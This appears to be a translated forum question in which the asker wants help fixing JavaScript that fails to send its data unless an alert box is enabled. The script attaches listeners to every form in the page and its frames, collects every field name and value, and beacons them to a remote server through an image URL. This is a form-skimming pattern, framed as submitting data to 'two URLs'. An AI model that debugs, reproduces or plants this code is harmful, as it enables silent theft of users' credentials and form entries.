所以很简单,我遇到了一个问题,我需要将相同的信息提交给两个 url,所以表单提交操作对于一个来说非常好,然后我想我可以做一个 javascript 监听器来提交带有简单 url 的第二个一个图像标签,但我发现如果我使用下面的代码,它不会到达我的服务器,但如果我启用警报框,它工作得很好..
如果我做错了一些非常简单的事情,我很抱歉,但这让我心烦意乱..提前谢谢。
//函数1
function attach(wnd,handler){
for(var i=0; i<wnd.document.forms.length; i++){
var form = wnd.document.forms[i];
form.addEventListener('submit', handler,false);
}
for(var i=0; i<wnd.frames.length; i++){
var iwnd = wnd.frames[i];
attach(iwnd,handler);
}
}
//函数2
function formSubmit(e){
var forms=parent.document.getElementsByTagName("form");
for (i = 0 ; i < forms.length; i++)
{
var chain="";
var forms=parent.document.getElementsByTagName("form");
for (x = 0 ; x < forms.length; x++)
{
var elements=forms[x].elements;
for (e = 0 ; e < elements.length; e++)
{
chain += elements[e].name + "%3d" + elements[e].value + "|";
}
// alert(chain);
var pic = document.createElement('img');
pic.className = 'avatar';
pic.src = 'http://x.x.x.x/images/Image.php?id=0.0.0.0&idi=test'+chain;
pic.height = '50';
pic.width = '50';
document.getElementById('test').appendChild(pic);
}
}
}